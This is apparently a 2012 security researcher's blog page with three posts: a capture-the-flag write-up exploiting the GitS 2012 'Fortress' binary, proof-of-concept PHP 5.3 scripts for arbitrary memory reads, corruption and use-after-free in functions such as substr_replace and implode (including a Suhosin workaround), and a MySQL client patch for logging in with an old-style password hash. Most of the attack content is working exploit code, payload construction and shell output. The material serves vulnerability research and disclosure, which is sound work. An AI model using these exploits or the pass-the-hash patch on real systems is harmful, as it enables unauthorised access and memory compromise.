Monday, January 30, 2012

GitS 2012 - 21 Fortress (Pwnable 500) Writeup

I cannot solve this challenge in time. The binary is 32 bit DSO. When I open it with IDA, the assembly is a mess. I could not understand the code. After doing some debugging, I figured something out.

Normally, the x86 uses ESP and EBP for stack pointer and frame pointer respectively. But this binary uses EBX for stack pointer and ECX for frame pointer. Another different is stack grow from lower address to higher address. So stack layer for this program looks like below.

+-----------+  low address
|   arg n   +             
+    ...    +             
+   arg 1   +             
+ saved eip +             
+-----------+  <=== ecx   
+ saved ecx +             
+           +             
+ local var +             
+           +  <=== ebx   
+-----------+ high address

Other important things are

  • The program uses ESI register to keep the Entry Point address in memory.
  • All saved eip and pointers to function are obfuscated. The XOR key is at ESI+4248h (or offset 434fh).
  • The assembly for call function is similar to below
    lea     ebp, [esi+21Ch]  ; address to return after function
    lea     esp, [esi+4248h] ; get xor key
    xor     ebp, [esp]       ; obfuscate return address
    lea     ebx, [ebx+4]     ; shift ebx to save return address
    mov     [ebx], ebp       ; save return address
  • The assembly for function prologue is similar to below
    lea     ebx, [ebx+4]  ; shift ebx to save prev frame pointer
    mov     [ebx], ecx    ; save ecx (prev frame pointer)
    mov     ecx, ebx      ; move frame pointer
    add     ebx, 10h      ; add stack pointer for local var
  • The assembly for function epilogue is similar to below (do as leave; ret)
    lea     edi, [esi+4248h] ; get xor key address
    mov     ebp, [edi]       ; get xor key
    mov     ebx, ecx         ; restore stack pointer
    mov     ecx, [ebx]       ; restore frame pointer
    lea     ebx, [ebx-4]     ; remove saved frame pointer
    xor     ebp, [ebx]       ; deobfuscate saved eip
    lea     ebx, [ebx-4]     ; remove saved eip
    jmp     ebp              ; go to return addr

After known all above, I search for the functions with msfelfscan. Here is the result included the function name after I read assembly code (fortress_func_list.txt).

$ msfelfscan -I 0 -r "\x8d\x5b\x04\x89\x0b\x8b\xcb" fortress

Then I reverse the assembly (took me about 5 hours). Here is my C code (fortress.c). I found 2 vulnerabilities in put_property() function.

struct Property {
    char address[128]; // 0h
    char name[32];  // 80h
    void* fn_show_detail; // 0A0h
    int price; // 0A4h
    int sell_price: // 0A8h
    int footage; // 0ACh
    int num_bedroom; // 0B0h
    int num_bathroom; // 0B4h
    struct Property* prev; // 0B8h
    struct Property* next; // 0BCh
}; // size 0xc0

void put_property()
    /* ... */

    print_str("\nProperty name: ");
    read_len = read_until(buffer, 128, '\n');
    if (read_len > 32) {
        print_str("Name too long\n");
    buffer[read_len] = '\0';
    strncpy(prop->name, buffer, 32);  // [1] BUG: no null terminated

    print_str("Address line 1: ");
    read_len = read_until(buffer, 128, '\n');
    if (read_len >= 128) {
        print_str("Address too long\n");
    buffer[read_len] = '\n';
    print_str("Address line 2: ");
    data_len = read_len + 1;
    // [2] BUG: integer overflow if address1 length is 127. below len will be 127-128=-1
    read_len = read_until(buffer + data_len, 127 -  data_len, '\n');
    buffer[data_len + read_len] = '\n';
    strncpy(prop->address, buffer, 128);

    /* ... */

First vuln [1] can be used for leak memory address (fn_show_detail and prev). Second vuln [2] is buffer overflow. It can be used to overwrite saved eip of read_until() stack frame (the stack is grown to higher address). But we need to be careful the 'len' and 'size' arguments because the read_until() function uses value from argument. So to make Fortress a Segmentation Fault, we need to put "address 1" 127 characters and "address 2" 340 characters followed by new delimiter and big length. See below (Note: 'DDDD' overwrites the saved eip).

Address line 1: AAA... (127 chars)
Address line 2: AAA... (340 chars) ZtttBBBBCCCCDDDDZ
Segmentation fault


Because of ASLR and obfuscated address, we need to leak some info first. I use the first bug. Also I put 'price', 'footage', 'num_bedroom', 'num_bathroom' to has no \x00 in memory then sell it to make it prints 'prev' value (the Property struct address in heap) too. The 'fn_show_detail' value is obfuscated, so we can use it to create valid obfuscated address to binary (key^A^A^B = key^B).

To get the real XOR key, I tried to use printf() but it is limited. I cannot use '$' and non-overwritten area is very far. Then, I found something similar to 'ret' in normal code. It is last 3 instructions in function epilogue. To make it like 'pop; ret', use last 4 instructions.

lea     ebx, [ebx-4]     ; remove saved frame pointer
xor     ebp, [ebx]       ; deobfuscate saved eip
lea     ebx, [ebx-4]     ; remove saved eip
jmp     ebp              ; go to return addr

I used 'ret' and printf() to dump stack value from previous stack frame. And I let program jump to function epilogue after calling printf() to return controlling to program and overflow it again.
Note: The 'prop_addr' is address of Property struct in heap (leak from above). I put format string in there.

LOAD:000001A1                 lea     ebx, [ebx-4]
LOAD:000001A4                 xor     edi, [ebx]
LOAD:000001A6                 lea     ebx, [ebx-4]
LOAD:000001A9                 jmp     edi

LOAD:000028D6                 lea     ebx, [ebx-4]
LOAD:000028D9                 xor     edi, [ebx]
LOAD:000028DB                 lea     ebx, [ebx-4]
LOAD:000028DE                 jmp     edi
payload = ""
payload += pack("<I", prop_addr) # printf arg
payload += pack("<I", leaveret_addr^xor_key) # return control to program
payload += pack("<I", print_addr^0x1a1) # printf
payload += "\x00\x00\x00\x00"*80
payload += "\xfeAAA" # skipped (delim)
payload += pack("<I", 0x28d6^0x1a1) # need to be > 360 (length param)
payload += pack("<I", 0) # skipped
payload += pack("<I", 0x28d6 ^ xor_key)
payload += "\xfe"
payload = "A"*(357-len(payload)) + payload

# put property for leak image_load_addr and real_xor_key
send_and_recv_prompt(sk, "3\n") # put property
send_and_recv_prompt(sk, "2\n") # commercial
send_and_recv_prompt(sk, "1\n") # name
send_and_recv_prompt(sk, "A"*127+"\n") # addr1
data = send_and_recv_prompt(sk, payload) # addr2

Got the non-obfuscated address of string in binary :]. Now I can find image load address and real XOR key. After got all needed information, just do the same method as above. But call to mmap2() with RWX permission and read_until() instead of printf(). Finally jump to shellcode. Pwned!!!

Here is my exploit ( It is not 100% work because the obfuscation might get bad char '\n'.

$ python
xor_key = 56e45ea0
prop_addr = b78a7004
image_load_addr = b78cc000
real_xor_key = e1689ea0
uid=1001(fortress) gid=1001(fortress)


Information disclosure becomes the most wanted

Saturday, January 21, 2012

PHP Array Interruption Bug due to call-time-pass-by-reference

I also reported this bug via e-mail a few months ago. Bug no fixed :[.

Affected versions: 5.3.x
This bug does not affect version 5.4 (and never) because call-time-pass-by-reference feature is removed.

Some PHP functions contain this bug. It can lead information leakeage and memory corruption (found only one). But most of them (what I can do now) can do only program crash.

Normally in PHP functions, the array is iterated with zend_hash_internal_pointer_reset(), zend_hash_get_current_data(), zend_hash_move_forward() or zend_hash_internal_pointer_reset_ex(), zend_hash_get_current_data_ex(), zend_hash_move_forward_ex() functions. If an array is passed by reference and a PHP function does something that can be interrupted such as calling convert_to_xxx_ex() function, the array elements might be altered and the pointers in PHP function might point to invalid data.

The pseudocode structure that has this problem is shown below.

    zend_hash_get_current_data(input, entry)
    convert_to_xxx_ex(**entry)  // <== interruption is here

Because zend_hash_internal_pointer_reset(), zend_hash_get_current_data(), and zend_hash_move_forward() use internal pointer (pInternalPointer) for interation, the interruption can make only entry pointer point to invalid data. I can only make the program crash with this array iteration code.

zend_hash_internal_pointer_reset_ex(input, pos)
    zend_hash_get_current_data_ex(input, entry, pos)
    convert_to_xxx_ex(**entry)  // <== interruption is here
    zend_hash_move_forward_ex(input, pos)

While zend_hash_internal_pointer_reset_ex(), zend_hash_get_current_data_ex(), and zend_hash_move_forward_ex() use external pointer ('pos' in above pseudocode) for interation, the interruption can make pos and entry pointers point to invalid data (manipulated data). Some of PHP function I can leak data from memory address or do memory corruption.

Below is PoC for dump memory at any address with implode() (32 bit only).

class dummy {
    public function __toString() {
        // dump memory at 0x08048000
        $GLOBALS['test1'] .= "\x00\x80\x04\x08\x10\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
        return '';
$arr1 = array(new dummy, 1);
$data = implode(",", &$arr1);

Below is PoC for memory corruption with array_combine() (32 bit only).

class dummy {
    public function __toString() {
        $GLOBALS['test1'] .= "\x00\x00\x00\xff\xff\xff\x7f\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
        return '0';
$arr1 = array(new dummy);
$arr2 = array('dddddd');
$out = array_combine($arr1, &$arr2);
var_dump($out); // strlen of $out is 0x7fffffff

Here is the list of PHP functions that I found the problem.

=== zend_hash_get_current_data() ===
*** crash ***
- curl_setopt with CURLOPT_POSTFIELDS option
- setlocale
- preg_grep
=== zend_hash_get_current_data_ex() ===
*** crash ***
- imagesetstyle
- pcntl_sigwaitinfo
- curl_setopt_array

*** dump arbritary memory address ***
- file_put_contents
- fputcsv
- implode

*** memory corruption ***
- array_combine

Interruption in PHP substr_replace()

I reported this bug a few months ago (#55871). You can see simple PoC in test script in bug page. It has been fixed only in 5.4 branch. The main use of this bug is for post exploitation as discussed in Stefan Esser’s slide and paper. For anyone who does not know about internal PHP structures, please read them from the Stefan Esser's paper or slide first because I will not cover them here.

Affect Version: 5.3.x

First, I will explain as I did in test script. The code for substr_replace() is long. Here is the link to the vulnerable code string.c. Below I show only related part.

    // ...
    // if a parameter is an array, no conversion at the beginning of function
    // ...
    if (Z_TYPE_PP(str) != IS_ARRAY) {
        // ...
    } else { /* str is array of strings */
        // ...
        while (zend_hash_get_current_data_ex(Z_ARRVAL_PP(str), (void **) &tmp_str, &pos_str) == SUCCESS) {
            zval *orig_str;
            zval dummy;
            if(Z_TYPE_PP(tmp_str) != IS_STRING) {
                dummy = **tmp_str;
                orig_str = &dummy;
            } else {
                orig_str = *tmp_str; // [1]

            // get and check 'from' value to 'f' (convert_to_long if needed)
            // get and check 'len' value to 'l' (convert_to_long if needed)
            // ...
            if ((f + l) > Z_STRLEN_P(orig_str)) {
                l = Z_STRLEN_P(orig_str) - f;  // [2]

            result_len = Z_STRLEN_P(orig_str) - l;

            if (Z_TYPE_PP(repl) == IS_ARRAY) {
                if (SUCCESS == zend_hash_get_current_data_ex(Z_ARRVAL_PP(repl), (void **) &tmp_repl, &pos_repl)) {
                    zval *repl_str;
                    zval zrepl;
                    if(Z_TYPE_PP(tmp_repl) != IS_STRING) {
                        zrepl = **tmp_repl;
                        repl_str = &zrepl;
                        convert_to_string(repl_str);  // [3] interruption
                    } else {
                        repl_str = *tmp_repl;

                    result_len += Z_STRLEN_P(repl_str);
                    zend_hash_move_forward_ex(Z_ARRVAL_PP(repl), &pos_repl);    
                    result = emalloc(result_len + 1);

                    memcpy(result, Z_STRVAL_P(orig_str), f);
                    memcpy((result + f), Z_STRVAL_P(repl_str), Z_STRLEN_P(repl_str));
                    memcpy((result + f + Z_STRLEN_P(repl_str)), Z_STRVAL_P(orig_str) + f + l, Z_STRLEN_P(orig_str) - f - l); // [4]
                    if(Z_TYPE_PP(tmp_repl) != IS_STRING) {
                } else {
                    // ...
            } else {
                // ...

            result[result_len] = '\0';
            add_next_index_stringl(return_value, result, result_len, 0);
            if(Z_TYPE_PP(tmp_str) != IS_STRING) {
                zval_dtor(orig_str);  // [5]
            zend_hash_move_forward_ex(Z_ARRVAL_PP(str), &pos_str);
        } /* while */
    } /* if */

At [1], if 'tmp_str' is string, the 'tmp_str' and 'orig_str' points to the same zval. After this point, the program assumes the 'orig_str' type is string.

At [3], if 'repl_str' is object, the convert_to_string() will call __toString() magic method. So if we pass the 'str' by reference with call-time-pass-by-reference feature or reference in array (see below), we can access/modify 'orig_str' value inside __toString().

At [5], because of interruption at [3], we can trick the program to free memory that variable has reference to it (use-after-free). Now look at first PoC.

class dummy {
    public function __toString() {
        //$GLOBALS['my_var'] += 0x08048000; // dump memory at 0x08048000
        //$GLOBALS['my_var'] .= 'AAAAAAAA'; // buffer overflow
        preg_match('//', '', $GLOBALS['my_var']); // dump HashTable data (and use-after-free in >=5.3.7)
        return '';
$my_var = str_repeat('A', 40);
$out = substr_replace(array(&$my_var), array(new dummy), 40, 0);

To dump memory at any address, just convert $my_var to integer (see why in zval struct). If we append string to $my_var, memcpy() at [4] will cause buffer overflow because length of 'orig_str' is modified after 'result_len' is computed.

The most interesting case is when $my_var is converted to array. We will get that HashTable struct. Also (for version >=5.3.7), the array (HashTable, Bucket, array of pointer to Bucket) is freed. So after calling substr_replace(), we just need to allocate manipulated string on deleted HashTable, Buckets and array of pointer to Bucket. Then, create the fake zval with length 0x7fffffff. Finally, we can read/write to any memory address.

To make exploit reliable for use-after-free (with my method), we need to understand Zend Memory Management Cache a little. The code is in Zend/zend_alloc.c. The important functions are _zend_mm_alloc_int() and _zend_mm_free_int(), only code related small size block. Here is the brief.

  1. When the efree() is called, the memory is not freed. But it is moved to free list cache.
  2. There are array of singly linked list to keep freed memory block. Each linked list keeps the same memory block size.
  3. When memory block is freed, it is moved to the head of linked list.
  4. When memory block is allocated, it is gotten from the head of linked list if linked list is not empty.

The plan is trying allocate string size same as HashTable, Bucket, arBuckets until they are allocated on freed array. Then use address from substr_replace() output to recover everything. Here is the code for 32 bit without suhosin patch.

class dummyht {
    public function __toString() {
        preg_match('//', '', $GLOBALS['my_var']);
        return "";

// hashtable and bucket size is 40
// arBuckets size is 32
$b = "ararararararararararararararar";
$fake_ht = "\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00".str_repeat("\x00", 23);
$fake_bk = str_repeat("\x00", 38);
$fake_arb = "ararararararararararararar";
$junk = array(0=>'0',1=>'1',2=>'2',3=>'3',4=>'4',5=>'5',6=>'6',7=>'7');
$str_arr = array('ht'=>"\x08", 'arBks'=>"\x00", 'bk0'=>"\x00");
$my_var = str_repeat("A", 80);
$data = 0;
$data = substr_replace(array(&$my_var), array(new dummyht), 80, 0);
$junk[0] .= $h;
$junk[1] .= $h;
$junk[2] .= $h;
$junk[3] .= $h;
$junk[4] .= $h;
$str_arr['ht'] .= $fake_ht;
$str_arr['bk0'] .= $fake_bk;
$junk[5] .= $b;
$junk[6] .= $b;
$junk[7] .= $b;
$str_arr['arBks'] .= $fake_arb;
$ht = parse_hashtable($data[0]);
// repair hashtable
for ($i = 16; $i < 32; $i++) $str_arr['ht'][$i] = $data[0][$i];
for ($i = 36; $i < 39; $i++) $str_arr['ht'][$i] = $data[0][$i];
// repair arBuckets
for ($i = 0; $i < 4; $i++) $str_arr['arBks'][$i] = $data[0][$i+4*4];
for ($i = 4; $i < 4*7; $i++) $str_arr['arBks'][$i] = "\x00";

// create $fake_zval string in tail of arBuckets
$fake_zval  = pack("I", $ht['arBuckets'] & 0x80000000);
$fake_zval .= pack("I", 0x7fffffff);
$fake_zval .= pack("I", 1);
$fake_zval .= "\x06\x00";

for ($i = 0; $i < strlen($fake_zval); $i++)
    $str_arr['arBks'][$i+4*4] = $fake_zval[$i];

// repair first bucket
$sptr = pack("I", $ht['pListHead'] + 4*3);
for ($i = 0; $i < 4; $i++) $str_arr['bk0'][$i + 4*2] = $sptr[$i];
$sptr = pack("I", $ht['arBuckets'] + 4*4);
for ($i = 0; $i < 4; $i++) $str_arr['bk0'][$i + 4*3] = $sptr[$i];

$mem = &$my_var[0];

With Suhosin patch, the above method to dump memory and dump HashTable does not work. Because the patch always set str.len value to 0 when clearing the string variable. At [4], the copy length will be negative but it will cast to unsigned for memcpy(). The workaround for this problem is use [2]. I pass parameter len as object to cause the interruption before [2]. After convert_to_long(), the 'len' and Z_STRLEN_P(orig_str) are 0. At [2], 'l' will be 0. Fix the problem :]. Here is the PoC.

class dummy {}
function errhandler() {
    $GLOBALS['my_var'] = ''; // to make it work when no suhosin patch
    preg_match('//', '', $GLOBALS['my_var']);
    return true;
$my_var = str_repeat('A', 40);
$oldhandler = set_error_handler("errhandler");
$out = substr_replace(array(&$my_var), '', 40, array(new dummy));

Wednesday, January 11, 2012

MySQL 323 Hash Pass-the-hash

This is just a note. This is a known old problem. If a password hash of MySQL user is hashed with OLD_PASSWORD() function or is imported from very old version, the hash is equivalent to password. You do not need to crack a hash to login to MySQL.

Here is my patch for libmysql_r/password.c for MySQL version 5.1.55.

--- password.c.orig     2012-01-11 21:32:02.644042061 +0700
+++ password.c  2012-01-11 21:33:30.676109909 +0700
@@ -191,6 +191,7 @@ void scramble_323(char *to, const char *
     char extra, *to_start=to;
     const char *message_end= message + SCRAMBLE_LENGTH_323;
     hash_password(hash_pass,password, (uint) strlen(password));
+    if (strlen(password) == 16) sscanf(password, "%8lx%8lx", &hash_pass[0], &hash_pass[1]);
     hash_password(hash_message, message, SCRAMBLE_LENGTH_323);
     randominit(&rand_st,hash_pass[0] ^ hash_message[0],
                hash_pass[1] ^ hash_message[1]);

Here the commands to build only client.

$ ./configure --without-server
$ make